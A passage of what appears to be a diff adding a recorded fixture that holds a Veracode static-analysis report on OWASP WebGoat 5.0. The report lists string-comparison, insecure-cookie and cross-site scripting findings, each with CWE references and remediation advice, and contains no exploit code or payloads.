+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"280\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"85\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"248\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"282\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"86\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"164\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"614\" cwename=\"Sensitive Cookie
+        in HTTPS Session Without 'Secure' Attribute\" pcirelated=\"false\" owasp=\"934\"
+        sans=\"311\">\n<description>\n<text text=\"Setting the Secure attribute on
+        an HTTP cookie instructs the web browser to send it only over a secure channel,
+        such as an SSL connection.  Issuing a cookie without the Secure attribute
+        allows the browser to transmit it over unencrypted connections, which are
+        susceptible to eavesdropping.  It is particularly important to set the Secure
+        attribute on any cookies containing sensitive data, such as authentication
+        information (e.g. &quot;remember me&quot; style functionality).\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"158\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"172\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage1(session.WebSession)\" functionrelativelocation=\"94\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"154\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"193\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"3\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"159\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"146\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"19\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"209\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"apache.ecs.Element makeLogin(session.WebSession)\" functionrelativelocation=\"8\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"52\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"1\"/>\n<severity level=\"0\">\n<category categoryid=\"20\" categoryname=\"Cross-Site
+        Scripting\" pcirelated=\"false\">\n<desc>\n<para text=\"Cross-site scripting
+        (XSS) attacks occur when an attacker uses a web application to send malicious
+        code, generally in the form of a browser side script, to a different end user.
+        Flaws that allow these attacks to succeed occur whenever a web application
+        uses untrusted data in the output it generates without validating or encoding
+        it.  XSS vulnerabilities are commonly exploited to steal or manipulate cookies,
+        modify presentation of content, and compromise sensitive information, with
+        new attack vectors being discovered on a regular basis.  XSS is also commonly
+        referred to as HTML injection.\"/>\n<para text=\"XSS vulnerabilities can be
+        either persistent or transient (often referred to as stored and reflected,
+        respectively).  In a persistent XSS vulnerability, the injected code is stored
+        by the application, for example within a blog comment or message board.  The
+        attack occurs whenever a victim views the page containing the malicious script.
+        \ In a transient XSS vulnerability, the injected code is included directly
+        in the HTTP request.  These attacks are often carried out via malicious URLs
+        sent via email or another website and requires the victim to browse to that
+        link.  The consequence of an XSS attack to a victim is the same regardless
+        of whether it is persistent or transient; however, persistent XSS vulnerabilities
+        are likely to affect a greater number of victims due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Several techniques can be used to prevent XSS attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"80\" cwename=\"Improper Neutralization of Script-Related HTML Tags
+        in a Web Page (Basic XSS)\" pcirelated=\"false\" owasp=\"931\" sans=\"79\">\n<description>\n<text
+        text=\"This call contains a cross-site scripting (XSS) flaw.  The application
+        populates the HTTP response with user-supplied input, allowing an attacker
+        to embed malicious content, such as Javascript code, which will be executed
+        in the context of the victim's browser.  XSS vulnerabilities are commonly
+        exploited to steal or manipulate cookies, modify presentation of content,
+        and compromise confidential information, with new attack vectors being discovered
+        on a regular basis.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"0\"
+        categoryname=\"Improper Neutralization of Script-Related HTML Tags in a Web
+        Page (Basic XSS)\" count=\"1\" issueid=\"184\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"89\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"240\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"94\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"177\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"63\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"84\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"62\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
